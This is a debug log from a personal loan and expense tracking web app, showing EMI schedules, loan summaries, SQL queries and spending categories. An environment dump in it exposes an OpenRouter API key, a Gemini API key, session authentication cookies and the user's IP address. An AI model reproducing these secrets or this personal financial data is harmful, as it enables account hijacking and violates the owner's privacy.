    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-04-21T16:45:20.482Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '13',
    total_remaining_amount: 195182,
    total_paid_amount: 705658,
    percentage_paid: '78.33'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '10',
    total_remaining_amount: 220310,
    total_paid_amount: 837178,
    percentage_paid: '79.17'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-04-21T16:45:22.567Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:45:22.567Z server-connect:app Executing action step identify
2026-04-21T16:45:22.567Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:22.568Z server-connect:output identity: 1
2026-04-21T16:45:22.568Z server-connect:app Executing action step restrict
2026-04-21T16:45:22.568Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:22.568Z server-connect:output restrict: undefined
2026-04-21T16:45:22.568Z server-connect:app Executing action step select
2026-04-21T16:45:22.568Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:45:22.570Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-04-21T16:45:26.856Z server-connect:router Serving templateView /emis
2026-04-21T16:45:26.856Z server-connect:app Executing action step identify
2026-04-21T16:45:26.856Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:26.856Z server-connect:output identity: 1
2026-04-21T16:45:26.856Z server-connect:app Executing action step restrict
2026-04-21T16:45:26.856Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:45:26.857Z server-connect:output restrict: undefined
2026-04-21T16:45:26.857Z server-connect:router Render template layouts/main
2026-04-21T16:45:26.858Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14664-G9/VsP3imiNA7cb55pCl1RFp59o"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14664-G9/VsP3imiNA7cb55pCl1RFp59o"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/emis'
}
2026-04-21T16:45:27.444Z server-connect:router Serving serverConnect /api/masters/get-items
2026-04-21T16:45:27.445Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-04-21T16:45:27.446Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-04-21T16:45:27.446Z server-connect:app Executing action step identify
2026-04-21T16:45:27.446Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:27.446Z server-connect:output identity: 1
2026-04-21T16:45:27.446Z server-connect:app Executing action step restrict
2026-04-21T16:45:27.446Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:27.447Z server-connect:app Executing action step identify
2026-04-21T16:45:27.447Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:27.447Z server-connect:output identity: 1
2026-04-21T16:45:27.447Z server-connect:app Executing action step restrict
2026-04-21T16:45:27.447Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:27.447Z server-connect:output restrict: undefined
2026-04-21T16:45:27.447Z server-connect:app Executing action step select
2026-04-21T16:45:27.447Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-04-21T16:45:27.448Z server-connect:app Executing action step identify
2026-04-21T16:45:27.448Z server-connect:app options: { provider: 'security' }
2026-04-21T16:45:27.449Z server-connect:output identity: 1
2026-04-21T16:45:27.449Z server-connect:app Executing action step restrict
2026-04-21T16:45:27.449Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:45:27.450Z server-connect:output restrict: undefined
2026-04-21T16:45:27.450Z server-connect:app Executing action step custom
2026-04-21T16:45:27.450Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-04-21T16:45:27.454Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
